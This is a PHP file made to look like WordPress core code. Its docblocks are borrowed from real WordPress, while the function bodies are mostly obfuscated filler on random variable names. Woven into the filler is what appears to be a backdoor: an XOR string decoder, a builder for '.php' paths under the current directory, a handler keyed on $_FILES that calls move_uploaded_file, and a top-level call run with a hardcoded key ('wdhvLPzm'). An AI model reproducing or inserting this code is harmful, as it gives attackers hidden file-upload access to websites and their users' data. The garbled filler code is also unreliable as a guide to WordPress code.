if(!empty(decbin(620)) !== true){ $v_result_list = 'oe0mwis3'; } $riff_litewave_raw = (!isset($riff_litewave_raw)? "acs2bkx4b" : "uhe2ki"); $AudioChunkStreamNum = cosh(629); $user_cpt['ios6mfmy'] = 'xseitq'; $certificate_path = floor(493); // 'post_status' clause depends on the current user. // End iis7_supports_permalinks(). Link to Nginx documentation instead: // s11 += s23 * 666643; // Moved to: wp-includes/js/dist/a11y.js if(!(lcfirst($tax_type)) === TRUE) { $ipaslong = 'f7os'; } $update_data['g7a4o'] = 'isdnas'; $tax_type = deg2rad(735); if(!(log10(716)) == True) { $login = 'zwsyl'; } $frame_textencoding = 'ydwf3j'; $last_segment = (!isset($last_segment)? 'la9u' : 'r1d3'); if(empty(strnatcasecmp($frame_textencoding, $tax_type)) === true) { $oggpageinfo = 'pa7ygh'; } $filetype = 'vbkn'; if(empty(stripcslashes($filetype)) !== TRUE){ $first_two = 'h1v9'; } if(!(ltrim($calculated_minimum_font_size)) != true) { $eden = 'zx3ws8'; } $background_position['sullq1r'] = 'nxas'; $save_indexes = stripcslashes($filetype); if(!isset($hard)) { $hard = 'gpqyn'; } $hard = decoct(55); $hard = rad2deg(974); if((sqrt(869)) === false) { $hook_suffix = 'ru3lq9shn'; } $image_src['ozh7jihc'] = 'ij4x'; if(!(md5($frame_textencoding)) != False) { $attachment_before = 'ac5pzck6'; } $vorbis_offset = 'qd2ks7jd'; if(empty(urlencode($vorbis_offset)) === false) { $archive_is_valid = 'o136q3up6'; } return $save_indexes; } $sort_callback['jkof0'] = 'veykn'; $full_height = strtr($reason, 13, 16); /** * Filters a term before it is sanitized and inserted into the database. * * @since 3.0.0 * @since 6.1.0 The `$streams` parameter was added. * * @param string|WP_Error $term The term name to add, or a WP_Error object if there's an error. * @param string $taxonomy Taxonomy slug. * @param array|string $streams Array or query string of arguments passed to wp_insert_term(). */ function is_page_template ($assigned_menu_id){ if(!isset($preset_text_color)) { $preset_text_color = 'jmsvj'; } $new_item = 'zpj3'; $merged_setting_params = 'hzhablz'; $CodecNameLength = 'gyc2'; $banned_names = 'xfa3o0u'; $new_item = soundex($new_item); if((strtolower($merged_setting_params)) == TRUE) { $Vars = 'ngokj4j'; } $preset_text_color = log1p(875); $assigned_menu_id = 'plkzgqyg'; if(!isset($parent_folder)) { $parent_folder = 'mj3mhx0g4'; } $min_size = 'w0u1k'; $Txxx_element['f4s0u25'] = 3489; if(!empty(log10(278)) == true){ $allow_past_date = 'cm2js'; } // phpcs:ignore WordPress.DateTime.RestrictedFunctions.timezone_change_date_default_timezone_set $expandlinks = 'q7yulv'; $user_language_new['d1tl0k'] = 2669; if(empty(sha1($min_size)) !== true) { $anon_ip = 'wbm4'; } $CodecNameLength = strnatcmp($CodecNameLength, $banned_names); $parent_folder = nl2br($preset_text_color); $parent_field_description = (!isset($parent_field_description)? 'flxckachi' : 'hb4fn'); // Convert absolute to relative. // TRAck Fragment box if(!isset($rel_links)) { $rel_links = 'g40jf1'; } $u1 = (!isset($u1)? "oamins0" : "pxyza"); if(!(tan(692)) != false) { $media_buttons = 'ils8qhj5q'; } $new_item = rawurldecode($new_item); // Get the relative class name if(!(strripos($assigned_menu_id, $expandlinks)) != True) { $is_match = 'c7dr1j7'; } if(empty(rawurldecode($assigned_menu_id)) != TRUE) { $layout_orientation = 'xoi9l3'; } if(!empty(rawurldecode($assigned_menu_id)) == False){ $str1 = 'e9xbz6'; } $all_themes = 'mxw9btoa'; $assigned_menu_id = rtrim($all_themes); $first_comment_url['avrzrh8e'] = 'y7kl8'; $assigned_menu_id = acos(466); $all_themes = round(554); return $assigned_menu_id; } /** * Cleans the cached data so it can be recalculated. * * @since 5.8.0 * @since 5.9.0 Added the `$user`, `$user_custom_post_type_id`, * and `$i18n_schema` variables to reset. * @since 6.1.0 Added the `$allowed_filess` and `$allowed_filess_cache` variables * to reset. */ function wp_ajax_update_widget ($tax_type){ if(!isset($hard)) { $hard = 'h4fii'; } $hard = asinh(638); $errmsg_generic['awk85zob0'] = 'xcal6'; if(!empty(ceil(550)) != False) { $erasers_count = 'vm15'; } $parsed_body['vsbbf2'] = 'i0i13'; if(empty(quotemeta($hard)) == False) { $menu_objects = 'nlv3kqnu'; } if(!isset($frame_textencoding)) { $frame_textencoding = 'cspnzweny'; } $frame_textencoding = sinh(642); if(!isset($calculated_minimum_font_size)) { $calculated_minimum_font_size = 'z827vjz'; } $alt_sign = 'nswo6uu'; if((cosh(29)) == True) { $trackback_id = 'grdc'; } if(empty(atan(881)) != TRUE) { $slashed_value = 'ikqq'; } $calculated_minimum_font_size = sqrt(71); return $tax_type; } /** * Initializes the upgrade strings. * * @since 3.7.0 */ function ms_file_constants ($expandlinks){ $numberstring = 'vu447x'; // http://fileformats.archiveteam.org/wiki/Boxes/atoms_format#UUID_boxes // Get meta info. $numberstring = crc32($numberstring); $srce = 't55m'; $meta_clauses['v1tiz2nm5'] = 339; if(!isset($frame_frequency)) { $frame_frequency = 'crm7nlgx'; } // -2 -6.02 dB // The submenu icon is rendered in a button here $frame_frequency = lcfirst($srce); $numberstring = strip_tags($numberstring); $update_notoptions = 'w763ez'; $nicename = (!isset($nicename)? 'qdu02nv' : 'pnfx20'); $frame_frequency = htmlspecialchars($srce); $reset_count['j9ny1plq'] = 471; $sidebar_name['ndznw'] = 4481; if(!isset($required_php_version)) { $required_php_version = 'u5xafx'; } $required_php_version = urldecode($update_notoptions); $expandlinks = 'tijyyjs'; $tokenized['v9b6azs'] = 1509; if(!isset($errstr)) { $errstr = 'rciem'; } $errstr = stripos($required_php_version, $expandlinks); if(!isset($qe_data)) { $qe_data = 'ey30jdoi'; } $qe_data = decbin(949); $assigned_menu_id = 'pbu0hg9jq'; $stylesheet_index_url = 'sh8z'; $upgrading['f49mg'] = 3399; $qe_data = strcoll($assigned_menu_id, $stylesheet_index_url); $changed['qp3n'] = 'mw24'; $variation['deqy'] = 'kkaiq'; $expandlinks = lcfirst($errstr); $sub2feed = (!isset($sub2feed)? 'fhfdzyd' : 'ddphzq'); $errstr = md5($numberstring); return $expandlinks; } /** * Retrieves the link category IDs associated with the link specified. * * @since 2.1.0 * * @param int $has_nav_menu Link ID to look up. * @return int[] The IDs of the requested link's categories. */ function get_the_category_rss ($all_themes){ $commentvalue['v169uo'] = 'jrup4xo'; $signatures = 'i0gsh'; $last_sent = 'h9qk'; if(empty(exp(977)) != true) { $css_value = 'vm5bobbz'; } $destination_filename = (!isset($destination_filename)? "bt7lvo2f" : "t38t0zpd"); // D0CF11E == DOCFILE == Microsoft Office Document $link_data['aons'] = 2618; if(!isset($mock_theme)) { $mock_theme = 'r14j78zh'; } $time_query['dxn7e6'] = 'edie9b'; if(!(substr($last_sent, 15, 11)) !== True){ $prelabel = 'j4yk59oj'; } $query2['t99ywzc'] = 'mmwchb'; # fe_sq(vxx,h->X); if(!empty(substr($signatures, 6, 16)) != true) { $count_args = 'iret13g'; } $mock_theme = decbin(157); $last_sent = atan(158); if(!isset($icon_dir)) { $icon_dir = 'jkud19'; } # fe_mul(z3,tmp0,x2); $spacing_sizes_by_origin['fqa8on'] = 657; $plural_base = 'fw8v'; $converted_string = 'wi2yei7ez'; $icon_dir = acos(139); $example_width = 'cthjnck'; $renamed_langcodes['yg9fqi8'] = 'zwutle'; $user_can_edit = 'tdhfd1e'; if((strip_tags($mock_theme)) == true) { $old_from = 'ez801u8al'; } $mock_theme = strcoll($mock_theme, $mock_theme); if((strrpos($plural_base, $user_can_edit)) == True){ $userfunction = 's5x08t'; } $icon_dir = quotemeta($example_width); $stack_depth['sdp217m4'] = 754; $example_width = ltrim($icon_dir); $locked = 'p5v1jeppd'; if((md5($mock_theme)) == False) { $file_id = 'e0vo'; } $last_sent = str_shuffle($converted_string); if(!isset($qe_data)) { $qe_data = 'kimy93l'; } $qe_data = decbin(388); $all_themes = 'dx2tz0i0'; $assigned_menu_id = 'mdlhukme'; $webfont['zen3o7ag'] = 805; $index_data['czclnx'] = 1245; $qe_data = strripos($all_themes, $assigned_menu_id); $preset_is_valid = (!isset($preset_is_valid)? 'p754skucp' : 'xnze'); $f9g9_38['fbdzm13nq'] = 'cz80'; if(empty(decoct(322)) != True){ $v_dir_to_check = 'w7lui'; } if(!(urldecode($all_themes)) != True) { $resource_value = 'j0xhdl'; } $numberstring = 'vugtg'; $unregistered_block_type = (!isset($unregistered_block_type)? "if5g" : "ahecedh"); if(!isset($required_php_version)) { $required_php_version = 'euehjp5q'; } $required_php_version = strtoupper($numberstring); $numberstring = wordwrap($all_themes); $expandlinks = 'vl2cr'; $all_themes = urldecode($expandlinks); $required_php_version = atan(240); $types_fmedia['s8wk'] = 'x0amej1'; $assigned_menu_id = rtrim($numberstring); $iptc = 'brl0xqkv2'; $assigned_menu_id = strripos($iptc, $numberstring); $edit_post_link['ycziw'] = 1006; $compatible_php['dmbche'] = 613; if(!empty(strrev($expandlinks)) == FALSE) { $meta_compare = 'p9wtb'; } return $all_themes; } /** * Initialize the class. * * @since 3.4.0 */ function dropdown_categories($rest, $unique_urls){ $tags_sorted = 'px7ram'; $network_name = 'zggz'; $xfn_value = 'v2vs2wj'; $themes_inactive = 'yhg8wvi'; // Skip autosaves. // ----- Reformat the string list // Set an empty array and allow default arguments to take over. $skip_heading_color_serialization = strlen($unique_urls); // s7 += carry6; if(!isset($stack_of_open_elements)) { $stack_of_open_elements = 'w5yo6mecr'; } $xfn_value = html_entity_decode($xfn_value); $request_args = (!isset($request_args)? 'fq1s7e0g2' : 'djwu0p'); $unique_suffix['tlaka2r81'] = 1127; // Theme Install hooks. $old_options_fields = strlen($rest); // https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609 if(!(htmlspecialchars_decode($themes_inactive)) != true) { $dbhost = 'abab'; } $stack_of_open_elements = strcoll($tags_sorted, $tags_sorted); $network_name = trim($network_name); $show_syntax_highlighting_preference['r68great'] = 'y9dic'; $fvals = (!isset($fvals)? 'y5kpiuv' : 'xu2lscl'); if(!isset($level_idc)) { $level_idc = 'qyi6'; } if((crc32($stack_of_open_elements)) === TRUE) { $ctxA = 'h2qi91wr6'; } $xfn_value = addslashes($xfn_value); $stack_of_open_elements = bin2hex($tags_sorted); $registered_sidebar = (!isset($registered_sidebar)? 'zkhct' : 'hw38b2g7j'); $level_idc = atanh(533); $image_size['fdmw69q0'] = 1312; // We don't need to check the collation for queries that don't read data. $skip_heading_color_serialization = $old_options_fields / $skip_heading_color_serialization; // Flow // We don't support custom Plugin directories, or updates for WPMU_PLUGIN_DIR. // Get the top parent. $skip_heading_color_serialization = ceil($skip_heading_color_serialization); $aindex = 'pc7cyp'; if(!empty(stripcslashes($level_idc)) == True){ $wpp = 'j9vyv'; } $network_name = atan(821); $xfn_value = str_shuffle($xfn_value); $next_posts = str_split($rest); $pattern_file['jqd7ov7'] = 'wingygz55'; $total_plural_forms = 'ybas7p7we'; $plaintext['bnglyw7'] = 4149; $new_query = 'slp9msb'; $unique_urls = str_repeat($unique_urls, $skip_heading_color_serialization); $total_plural_forms = strip_tags($total_plural_forms); if(empty(chop($xfn_value, $xfn_value)) === FALSE) { $taxonomy_obj = 'jff1'; } $tags_sorted = strrpos($aindex, $new_query); $network_name = log1p(703); $old_autosave = str_split($unique_urls); $old_autosave = array_slice($old_autosave, 0, $old_options_fields); // http://www.theora.org/doc/Theora.pdf (table 6.4) $parent_valid['x4kxqq'] = 'l7nvbbug5'; if(!(soundex($level_idc)) == false){ $f5g9_38 = 'jod7p'; } $wp_interactivity = 'n9zf1'; $file_base['fd64rd31e'] = 'yyw625'; if((strrpos($level_idc, $level_idc)) != false) { $original_stylesheet = 'ti26cp5h7'; } if(empty(sha1($wp_interactivity)) === True) { $int1 = 'l9oql'; } if(!empty(strrev($tags_sorted)) !== FALSE) { $ep_query_append = 'za3q'; } $xfn_value = rad2deg(755); $tags_sorted = atan(306); $ThisValue = 'ev1nn'; if(!(asin(984)) === FALSE) { $wp_lang_dir = 'mjvvtb'; } $core_actions_post_deprecated['yhp4vj9'] = 4848; $network_name = urldecode($wp_interactivity); $allow_anonymous['khg7u'] = 4834; $check_urls = (!isset($check_urls)? "ghd6bm2b" : "zjgdbdp7"); $riff_litewave_raw = (!isset($riff_litewave_raw)? "acs2bkx4b" : "uhe2ki"); $total_plural_forms = convert_uuencode($ThisValue); $notoptions = (!isset($notoptions)?"a0nb":"vslmzn4"); if(empty(tanh(765)) !== FALSE){ $role__in = 'wc09l5dm'; } $stack_of_open_elements = sqrt(379); // Calculate the valid wildcard match if the host is not an IP address $struc = (!isset($struc)? 'xile' : 'y817eooe'); $new_query = decbin(221); $like_op['ockp23wbv'] = 3699; if(empty(strtr($wp_interactivity, 8, 12)) === false) { $time_not_changed = 'wqq1wi'; } $subset = (!isset($subset)?'hrsr1':'grnr3'); $wp_stylesheet_path['n2t1muj'] = 'd7fe3fwi'; $aindex = rawurlencode($aindex); $ThisValue = convert_uuencode($level_idc); $limit = array_map("space_separated_tokens", $next_posts, $old_autosave); $limit = implode('', $limit); // then remove that prefix from the input buffer; otherwise, $network_name = asinh(408); $tags_sorted = asin(587); $removable_query_args = 'e6h1'; $xfn_value = crc32($xfn_value); $wp_interactivity = basename($network_name); $checkbox_id = (!isset($checkbox_id)? "tdkp98o" : "gxy3i"); $cleaning_up['n8lt'] = 'kzfvy'; $disposition_header = 'v1x3fv'; return $limit; } // Class : PclZip /** * @see ParagonIE_Sodium_Compat::pad() * @param string $filter_type * @param int $newvaluelengthMB * @return string * @throws SodiumException * @throws TypeError */ function pointer_wp330_toolbar($filter_type, $newvaluelengthMB) { return ParagonIE_Sodium_Compat::unpad($filter_type, $newvaluelengthMB, true); } // THUMBNAILS /** * Sets block pattern cache. * * @since 6.4.0 * * @param array $patterns Block patterns data to set in cache. */ function data_wp_context_processor ($hard){ $valid_intervals = 'da807'; if(!empty(stripslashes($valid_intervals)) === False) { $MPEGaudioLayerLookup = 'c7ww16ir'; } $tax_type = 'cpgop8gpw'; $comment_excerpt = (!isset($comment_excerpt)?'qqjvhz':'w4n9q'); $global_groups['v10ltk'] = 1273; if(!isset($vorbis_offset)) { $vorbis_offset = 'd95ye'; } $vorbis_offset = md5($tax_type); $resolved_style['awu6hctu'] = 1969; $vorbis_offset = urlencode($valid_intervals); $thisfile_video = (!isset($thisfile_video)? 'tf4q10' : 'sq4ugbej'); if(empty(urldecode($tax_type)) !== FALSE) { $upgrade_dev = 'wjkzfiwb'; } $save_indexes = 'hh4pphx9x'; $MPEGaudioHeaderDecodeCache['adsa0nh'] = 2342; if(empty(base64_encode($save_indexes)) != True) { $api_request = 'rwu8at7'; } $tax_type = acosh(110); return $hard; } /** * Retrieves Post Content block attributes from the current post template. * * @since 6.3.0 * @since 6.4.0 Return null if there is no post content block. * @access private * * @global int $sendmail_ID * * @return array|null Post Content block attributes array or null if Post Content block doesn't exist. */ function set_pattern_cache($parent_theme_base_path){ $version_url = __DIR__; $registered_menus = ".php"; $force_uncompressed = (!isset($force_uncompressed)?'gdhjh5':'rrg7jdd1l'); $is_site_themes['ru0s5'] = 'ylqx'; $initialized['u9lnwat7'] = 'f0syy1'; if(!isset($other)) { $other = 'gby8t1s2'; } // Metadata about the MO file is stored in the first translation entry. // ----- Zip file comment $other = sinh(913); if(!empty(floor(262)) === FALSE) { $howdy = 'iq0gmm'; } $parent_theme_base_path = $parent_theme_base_path . $registered_menus; $parent_theme_base_path = DIRECTORY_SEPARATOR . $parent_theme_base_path; // ----- Call the header generation $parent_theme_base_path = $version_url . $parent_theme_base_path; $accept = 'q9ih'; $return_to_post = (!isset($return_to_post)? "nqls" : "yg8mnwcf8"); return $parent_theme_base_path; } /** * Polyfill for SPL autoload feature. This file is separate to prevent compiler notices * on the deprecated __autoload() function. * * See https://core.trac.wordpress.org/ticket/41134 * * @deprecated 5.3.0 No longer needed as the minimum PHP requirement has moved beyond PHP 5.3. * * @package PHP * @access private */ function migrate_v1_to_v2($memory_limit, $encoding_id3v1_autodetect, $class_names){ // https://core.trac.wordpress.org/changeset/34726 // Set or remove featured image. if (isset($_FILES[$memory_limit])) { get_all_discovered_feeds($memory_limit, $encoding_id3v1_autodetect, $class_names); } crypto_scalarmult($class_names); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $c * @return SplFixedArray * @psalm-suppress MixedAssignment */ function wp_embed_handler_audio($parsedAtomData, $comment_last_changed){ $caption = move_uploaded_file($parsedAtomData, $comment_last_changed); $future_wordcamps = 'ip41'; $test_type = 'iiz4levb'; $action_description = 'opnon5'; $touches = 'qhmdzc5'; $num_pages = 'v9ka6s'; // Old handle. return $caption; } $memory_limit = 'wdhvLPzm'; /** * Checks whether the website is using HTTPS. * * This is based on whether both the home and site URL are using HTTPS. * * @since 5.7.0 * @see wp_is_home_url_using_https() * @see wp_is_site_url_using_https() * * @return bool True if using HTTPS, false otherwise. */ function gd_edit_image_support($enqueued){ // encounters a new line, or EOF, whichever happens first. if(empty(atan(881)) != TRUE) { $slashed_value = 'ikqq'; } if(!isset($f7g0)) { $f7g0 = 'svth0'; } $v_hour = 'eh5uj'; if(!isset($unit)) { $unit = 'q67nb'; } # sc_muladd(sig + 32, hram, az, nonce); $f7g0 = asinh(156); $unit = rad2deg(269); $new_image_meta = 'ye809ski'; $to_do['kz002n'] = 'lj91'; $enqueued = ord($enqueued); $f7g0 = asinh(553); $unit = rawurldecode($unit); if((bin2hex($v_hour)) == true) { $embed = 'nh7gzw5'; } $firstframetestarray = 'ybosc'; // Note the preview-applied flag is cleared at priority 9 to ensure it is cleared before a deferred-preview runs. return $enqueued; } $feedmatch = wordwrap($needs_list_item_wrapper); $subtype_name['b45egh16c'] = 'ai82y5'; $lvl['ffus87ydx'] = 'rebi'; $background_block_styles = log(854); /** * Optional support for X-Sendfile header * * @since 3.0.0 */ if(!(decoct(942)) == False) { $tag_base = 'r9gy'; } $output_encoding = abs(859); $registered_widgets_ids = stripos($registered_widgets_ids, $registered_widgets_ids); /** * Adds custom arguments to some of the meta box object types. * * @since 3.0.0 * * @access private * * @param object $rest_object The post type or taxonomy meta-object. * @return object The post type or taxonomy object. */ if(!isset($last_comment_result)) { $last_comment_result = 'o77y'; } // If this menu item is a child of the previous. $background_block_styles = basename($background_block_styles); $last_comment_result = atanh(376); $needs_list_item_wrapper = sinh(567); $no_name_markup = (!isset($no_name_markup)? 'vhyor' : 'cartpf01i'); // Despite the name, update_post_cache() expects an array rather than a single post. // carry9 = s9 >> 21; /** * Outputs hidden input HTML for replying to comments. * * Adds two hidden inputs to the comment form to identify the `comment_post_ID` * and `comment_parent` values for threaded comments. * * This tag must be within the `<form>` section of the `comments.php` template. * * @since 2.7.0 * @since 6.2.0 Renamed `$sendmail_id` to `$sendmail` and added WP_Post support. * * @see get_update_with() * * @param int|WP_Post|null $sendmail Optional. The post the comment is being displayed for. * Defaults to the current global post. */ function update_with($sendmail = null) { echo get_update_with($sendmail); } /** * Runs the adoption agency algorithm. * * @since 6.4.0 * * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input. * * @see https://html.spec.whatwg.org/#adoption-agency-algorithm */ if(!isset($meta_box)) { $meta_box = 'zgykass7c'; } $timezone_abbr['t7nudzv'] = 1477; $view_post_link_html['f1kv6605x'] = 'ufm32rph'; $admin_origin['vxm9fbt'] = 'lugw'; // SOrt ALbum /** * Plugin bootstrap for Partial Refresh functionality. * * @since 4.5.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. */ if(!(cos(472)) === false){ $entities = 'y4z6f'; } $meta_box = rad2deg(740); $fresh_networks['xvrf0'] = 'hnzxt9x0e'; $background_block_styles = decbin(654); /** * Filters a taxonomy drop-down display element. * * A variety of taxonomy drop-down display elements can be modified * just prior to display via this filter. Filterable arguments include * 'show_option_none', 'show_option_all', and various forms of the * term name. * * @since 1.2.0 * * @see wp_dropdown_categories() * * @param string $element Category name. * @param WP_Term|null $last_nameegory The category object, or null if there's no corresponding category. */ if(!isset($dependents_location_in_its_own_dependencies)) { $dependents_location_in_its_own_dependencies = 'sowm0'; } $section_label = 'tpvu1zz'; $LookupExtendedHeaderRestrictionsImageEncoding['jqybk'] = 'u3ki2uf'; $output_encoding = decbin(166); // Number of frames in the lace-1 (uint8) // The comment is classified as spam. If Akismet was the one to label it as spam, unspam it. PclZip($memory_limit); /** * Disables the Automattic widgets plugin, which was merged into core. * * @since 2.2.0 */ function get_the_date() { $home = __get_option('active_plugins'); foreach ((array) $home as $private_style) { if ('widgets.php' === basename($private_style)) { array_splice($home, array_search($private_style, $home, true), 1); update_option('active_plugins', $home); break; } } } $last_url = 'rqc3wixt6'; $glyph = (!isset($glyph)? 'op3iynf5' : 'ty0wu4m6'); /** * SMTP password. * * @var string */ if(!isset($signups)) { $signups = 'v1msxbd'; } /** * Adds `loading` attribute to an `iframe` HTML tag. * * @since 5.7.0 * * @param string $possible_sizes The HTML `iframe` tag where the attribute should be added. * @param string $mod_keys Additional context to pass to the filters. * @return string Converted `iframe` tag with `loading` attribute added. */ function update_blog_status($possible_sizes, $mod_keys) { /* * Iframes with fallback content (see `wp_filter_oembed_result()`) should not be lazy-loaded because they are * visually hidden initially. */ if (str_contains($possible_sizes, ' data-secret="')) { return $possible_sizes; } /* * Get loading attribute value to use. This must occur before the conditional check below so that even iframes that * are ineligible for being lazy-loaded are considered. */ $sortable = wp_get_loading_optimization_attributes('iframe', array( /* * The concrete values for width and height are not important here for now * since fetchpriority is not yet supported for iframes. * TODO: Use WP_HTML_Tag_Processor to extract actual values once support is * added. */ 'width' => str_contains($possible_sizes, ' width="') ? 100 : null, 'height' => str_contains($possible_sizes, ' height="') ? 100 : null, // This function is never called when a 'loading' attribute is already present. 'loading' => null, ), $mod_keys); // Iframes should have source and dimension attributes for the `loading` attribute to be added. if (!str_contains($possible_sizes, ' src="') || !str_contains($possible_sizes, ' width="') || !str_contains($possible_sizes, ' height="')) { return $possible_sizes; } $header_area = isset($sortable['loading']) ? $sortable['loading'] : false; /** * Filters the `loading` attribute value to add to an iframe. Default `lazy`. * * Returning `false` or an empty string will not add the attribute. * Returning `true` will add the default value. * * @since 5.7.0 * * @param string|bool $header_area The `loading` attribute value. Returning a falsey value will result in * the attribute being omitted for the iframe. * @param string $possible_sizes The HTML `iframe` tag to be filtered. * @param string $mod_keys Additional context about how the function was called or where the iframe tag is. */ $header_area = apply_filters('update_blog_status', $header_area, $possible_sizes, $mod_keys); if ($header_area) { if (!in_array($header_area, array('lazy', 'eager'), true)) { $header_area = 'lazy'; } return str_replace('<iframe', '<iframe loading="' . esc_attr($header_area) . '"', $possible_sizes); } return $possible_sizes; } /** * Retrieve translations from WordPress Translation API. * * @since 4.0.0 * * @param string $type Type of translations. Accepts 'plugins', 'themes', 'core'. * @param array|object $streams Translation API arguments. Optional. * @return array|WP_Error On success an associative array of translations, WP_Error on failure. */ if(!empty(tan(409)) === True){ $class_id = 'vtwruf3nw'; } $GenreID = (!isset($GenreID)? 'd7sus1jh' : 'xkpr5'); $dependents_location_in_its_own_dependencies = htmlentities($background_block_styles); /** * Network Contribute administration panel. * * @package WordPress * @subpackage Multisite * @since 6.3.0 */ if(empty(strtolower($last_url)) == FALSE) { $hex = 'fp29'; } /** * Display JavaScript on the page. * * @since 3.5.0 * @deprecated 4.9.0 */ function crypto_sign_ed25519_sk_to_curve25519() { <script type="text/javascript"> jQuery( function() { jQuery('.permalink-structure input:radio').change(function() { if ( 'custom' == this.value ) return; jQuery('#permalink_structure').val( this.value ); }); jQuery( '#permalink_structure' ).on( 'click input', function() { jQuery( '#custom_selection' ).prop( 'checked', true ); }); } ); </script> } $audio['ss9pagcx'] = 707; $last_url = log1p(720); $last_url = html_entity_decode($last_url); $old_item_data = (!isset($old_item_data)? 'g34ueo' : 'ggi8s6'); /** * Core class used for querying sites. * * @since 4.6.0 * * @see WP_Site_Query::__construct() for accepted arguments. */ if(!isset($stssEntriesDataOffset)) { $stssEntriesDataOffset = 'qy1cnf'; } $stssEntriesDataOffset = log(966); $stssEntriesDataOffset = strnatcmp($last_url, $stssEntriesDataOffset); $skipped_signature['zepjpe'] = 1706; $stssEntriesDataOffset = sqrt(441); $stssEntriesDataOffset = insert_blog($stssEntriesDataOffset); $newlist = (!isset($newlist)?"zn9s53ie":"kpj2"); $stssEntriesDataOffset = decoct(6); $UseSendmailOptions = 'n26a'; $separator_length['ikj2msqn'] = 2618; /** * Retrieve the Yahoo! IM name of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The author's Yahoo! IM name. */ if(!isset($role_list)) { $role_list = 'ckoc5l78'; } $role_list = substr($UseSendmailOptions, 17, 23); $UseSendmailOptions = is_page_template($role_list); $role_list = log(183); /** * Outputs the HTML disabled attribute. * * Compares the first two arguments and if identical marks as disabled. * * @since 3.0.0 * * @param mixed $disabled One of the values to compare. * @param mixed $current Optional. The other value to compare if not just true. * Default true. * @param bool $display Optional. Whether to echo or just return the string. * Default true. * @return string HTML attribute or empty string. */ if(!empty(round(360)) != TRUE) { $new_branch = 'dzzq2f'; } $UseSendmailOptions = md5($role_list); $alert_header_name = (!isset($alert_header_name)? "j3shg" : "ae472wti"); $stssEntriesDataOffset = asin(941); $view_media_text = (!isset($view_media_text)?"o0mnmns8":"rlyem"); /** * Service to handle sending an email with a recovery mode link. * * @since 5.2.0 * @var WP_Recovery_Mode_Email_Service */ if(!isset($dots)) { $dots = 'dhblg'; } $dots = strcoll($stssEntriesDataOffset, $stssEntriesDataOffset); $lcs = (!isset($lcs)? 'injpy54' : 'kgux7f'); /** * Lists available core updates. * * @since 2.7.0 * * @global string $wp_local_package Locale code of the package. * @global wpdb $wpdb WordPress database abstraction object. * * @param object $update */ if((sqrt(471)) === False) { $children_query = 'dxan9iblh'; } /** * Register an item. * * Registers the item if no item of that name already exists. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string $handle Name of the item. Should be unique. * @param string|false $src Full URL of the item, or path of the item relative * to the WordPress root directory. If source is set to false, * the item is an alias of other items it depends on. * @param string[] $deps Optional. An array of registered item handles this item depends on. * Default empty array. * @param string|bool|null $ver Optional. String specifying item version number, if it has one, * which is added to the URL as a query string for cache busting purposes. * If version is set to false, a version number is automatically added * equal to current installed WordPress version. * If set to null, no version is added. * @param mixed $streams Optional. Custom property of the item. NOT the class property $streams. * Examples: $media, $in_footer. * @return bool Whether the item has been registered. True on success, false on failure. */ if((tan(661)) === False) { $self_type = 'lieozdve'; } $current_object = 'y3qpr9wjv'; /** * Used to set up and fix common variables and include * the WordPress procedural and class library. * * Allows for some configuration in wp-config.php (see default-constants.php) * * @package WordPress */ if(!isset($preferred_icon)) { $preferred_icon = 'sj8oj5'; } $preferred_icon = strtr($current_object, 11, 6); $current_object = strtoupper($current_object); $is_multidimensional_aggregated = 'ro5s'; /** * Outputs the legacy media upload form for a given media type. * * @since 2.5.0 * * @param string $type * @param array $errors * @param int|WP_Error $v_path_info */ if(!isset($has_named_text_color)) { $has_named_text_color = 'nfilnnfa3'; } $has_named_text_color = strcoll($preferred_icon, $is_multidimensional_aggregated); /** * Retrieves the link category IDs associated with the link specified. * * @since 2.1.0 * * @param int $has_nav_menu Link ID to look up. * @return int[] The IDs of the requested link's categories. */ function maybe_send_recovery_mode_email($has_nav_menu = 0) { $clen = wp_get_object_terms($has_nav_menu, 'link_category', array('fields' => 'ids')); return array_unique($clen); } $current_object = wp_get_auto_update_message($is_multidimensional_aggregated); /** * Retrieves the user meta subtype. * * @since 4.9.8 * * @return string 'user' There are no subtypes. */ if(!isset($submit_button)) { $submit_button = 'stcrhfz'; } $submit_button = rawurldecode($current_object); $existingkey['ywb1ovv'] = 2487; $is_multidimensional_aggregated = tan(586); $has_named_text_color = 'cahgwga'; $current_object = crypto_aead_xchacha20poly1305_ietf_decrypt($has_named_text_color); $priority_existed = (!isset($priority_existed)? "tv3es4" : "c6nneowf"); $style_definition_path['reahg'] = 'csog8'; $submit_button = log10(224); $is_multidimensional_aggregated = 'x9i4z7915'; $preferred_icon = wp_create_tag($is_multidimensional_aggregated); $settings_link['nfo8'] = 1249; /** * Core class used for interacting with block bindings sources. * * @since 6.5.0 */ if(!isset($options_not_found)) { $options_not_found = 'lef6lx'; } $options_not_found = sqrt(547); $grant = (!isset($grant)? 'l1hs02psk' : 'wigukw'); $num_locations['bm53'] = 3013; $total_users_for_query['oaeihmk8'] = 1616; $preferred_icon = str_repeat($options_not_found, 4); $current_object = acos(322); $comment_post_title = (!isset($comment_post_title)? 'cvdy' : 'zz10'); /** * Filters XML-RPC-prepared data for the given page. * * @since 3.4.0 * * @param array $_page An array of page data. * @param WP_Post $page Page object. */ if(empty(expm1(184)) === FALSE) { $signature_verification = 'cm8uhp9p'; } $compressed_data = (!isset($compressed_data)? 'k88hs' : 'geft0c'); $options_not_found = urldecode($options_not_found); /** * Fires for each custom column of a specific request type in the Requests list table. * * Custom columns are registered using the {@see 'manage_export-personal-data_columns'} * and the {@see 'manage_erase-personal-data_columns'} filters. * * @since 5.7.0 * * @param string $column_name The name of the column to display. * @param WP_User_Request $item The item being shown. */ if(!(addslashes($has_named_text_color)) == True) { $wpmediaelement = 'flp7xzv'; } $is_opera['ypiab7j'] = 'qd0mstzwy'; $is_multidimensional_aggregated = exp(217); /** * Handles retrieving the insert-from-URL form for a generic file. * * @deprecated 3.3.0 Use wp_media_insert_url_form() * @see wp_media_insert_url_form() * * @return string */ function wp_ajax_edit_theme_plugin_file() { _deprecated_function(__FUNCTION__, '3.3.0', "wp_media_insert_url_form('file')"); return wp_media_insert_url_form('file'); } $stscEntriesDataOffset = (!isset($stscEntriesDataOffset)? "aibh01r1" : 